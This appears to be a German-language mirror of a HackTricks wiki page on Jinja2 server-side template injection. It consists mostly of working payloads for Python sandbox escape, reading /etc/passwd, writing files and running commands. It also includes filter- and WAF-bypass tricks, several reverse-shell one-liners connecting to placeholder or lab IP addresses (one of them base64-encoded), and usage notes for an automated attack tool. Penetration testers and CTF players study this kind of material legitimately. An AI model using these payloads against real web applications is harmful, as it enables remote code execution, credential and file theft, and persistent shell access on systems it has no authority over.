mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
330 lines
13 KiB
Markdown
330 lines
13 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## **Labor**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Sonstiges**
|
|
|
|
### **Debug-Anweisung**
|
|
|
|
Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests auszugeben. Dies ist nützlich, um zu sehen, was im Template verfügbar ist, ohne einen Debugger einrichten zu müssen.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **Alle Konfigurationsvariablen ausgeben**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## **Jinja Injection**
|
|
|
|
Zuerst müssen Sie bei einer Jinja-Injection **einen Weg finden, um aus dem Sandbox zu entkommen** und den Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie **Objekte missbrauchen**, die **aus** der **nicht-sandboxierten Umgebung stammen, aber von der Sandbox aus zugänglich sind**.
|
|
|
|
### Zugriff auf globale Objekte
|
|
|
|
Zum Beispiel kommen in dem Code `render_template("hello.html", username=username, email=email)` die Objekte username und email **aus der nicht-sandboxierten Python-Umgebung** und sind **innerhalb der sandboxierten Umgebung zugänglich**.\
|
|
Darüber hinaus gibt es andere Objekte, die **immer von der sandboxierten Umgebung aus zugänglich sein werden**, diese sind:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Wiederherstellen \<class 'object'>
|
|
|
|
Dann müssen wir von diesen Objekten zur Klasse: **`<class 'object'>`** gelangen, um zu versuchen, definierte **Klassen** zu **wiederherstellen**. Das liegt daran, dass wir von diesem Objekt die **`__subclasses__`**-Methode aufrufen und **auf alle Klassen aus der nicht-sandboxed** Python-Umgebung zugreifen können.
|
|
|
|
Um auf diese **Objektklasse** zuzugreifen, müssen Sie **auf ein Klassenobjekt** zugreifen und dann entweder **`__base__`**, **`__mro__()[-1]`** oder `.`**`mro()[-1]`** aufrufen. Und dann, **nachdem** wir diese **Objektklasse** erreicht haben, **rufen** wir **`__subclasses__()`** auf.
|
|
|
|
Überprüfen Sie diese Beispiele:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### RCE Escaping
|
|
|
|
**Nachdem wir** `<class 'object'>` wiederhergestellt und `__subclasses__` aufgerufen haben, können wir nun diese Klassen verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.
|
|
|
|
Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, **Hunderte neuer Funktionen zuzugreifen**, wir werden glücklich sein, nur auf die **Dateiklasse** zuzugreifen, um **Dateien zu lesen/schreiben** oder auf eine Klasse mit Zugriff auf eine Klasse, die **Befehle ausführen kann** (wie `os`).
|
|
|
|
**Remote-Datei lesen/schreiben**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
Um mehr über **weitere Klassen** zu erfahren, die Sie zur **Umgehung** verwenden können, können Sie **überprüfen**:
|
|
|
|
{{#ref}}
|
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
|
{{#endref}}
|
|
|
|
### Filterumgehungen
|
|
|
|
#### Häufige Umgehungen
|
|
|
|
Diese Umgehungen ermöglichen es uns, die **Attribute** der Objekte **ohne Verwendung bestimmter Zeichen** zu **zugreifen**.\
|
|
Wir haben einige dieser Umgehungen bereits in den Beispielen des Vorherigen gesehen, aber lassen Sie uns sie hier zusammenfassen:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
- [**Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf ein globales Objekt zu erhalten**](jinja2-ssti.md#accessing-global-objects)
|
|
- [**Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf die Objektklasse zu erhalten**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
- [**Lesen Sie dies, um RCE ohne die Objektklasse zu erhalten**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**Vermeidung von HTML-Codierung**
|
|
|
|
Standardmäßig kodiert Flask HTML alles innerhalb einer Vorlage aus Sicherheitsgründen:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**Der `safe`** Filter ermöglicht es uns, JavaScript und HTML in die Seite einzufügen **ohne**, dass es **HTML kodiert** wird, so:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**RCE durch das Schreiben einer bösartigen Konfigurationsdatei.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## Ohne mehrere Zeichen
|
|
|
|
Ohne **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## Jinja Injection ohne **\<class 'object'>**
|
|
|
|
Von den [**globalen Objekten**](jinja2-ssti.md#accessing-global-objects) gibt es einen weiteren Weg, um zu **RCE zu gelangen, ohne diese Klasse zu verwenden.**\
|
|
Wenn es Ihnen gelingt, auf eine **Funktion** aus diesen globalen Objekten zuzugreifen, können Sie auf **`__globals__.__builtins__`** zugreifen und von dort ist die **RCE** sehr **einfach**.
|
|
|
|
Sie können **Funktionen** aus den Objekten **`request`**, **`config`** und jedem **anderen** interessanten **globalen Objekt**, auf das Sie Zugriff haben, mit:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
Sobald Sie einige Funktionen gefunden haben, können Sie die Built-ins mit folgendem wiederherstellen:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
### Fuzzing WAF bypass
|
|
|
|
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ist ein Tool, das auf CTFs spezialisiert ist, aber auch nützlich sein kann, um ungültige Parameter in einem realen Szenario zu bruteforcen. Das Tool sprüht einfach Wörter und Abfragen, um Filter zu erkennen, sucht nach Bypässen und bietet auch eine interaktive Konsole.
|
|
```
|
|
webui:
|
|
As the name suggests, web UI
|
|
Default port 11451
|
|
|
|
scan: scan the entire website
|
|
Extract all forms from the website based on the form element and attack them
|
|
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
|
Example:python -m fenjing scan --url 'http://xxx/'
|
|
|
|
crack: Attack a specific form
|
|
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
|
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
|
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
|
|
|
crack-path: attack a specific path
|
|
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
|
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
|
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
|
|
|
crack-request: Read a request file for attack
|
|
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
|
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
|
```
|
|
## Referenzen
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
- Überprüfen Sie [attr trick, um hier schwarze Zeichen zu umgehen](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
|
|
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|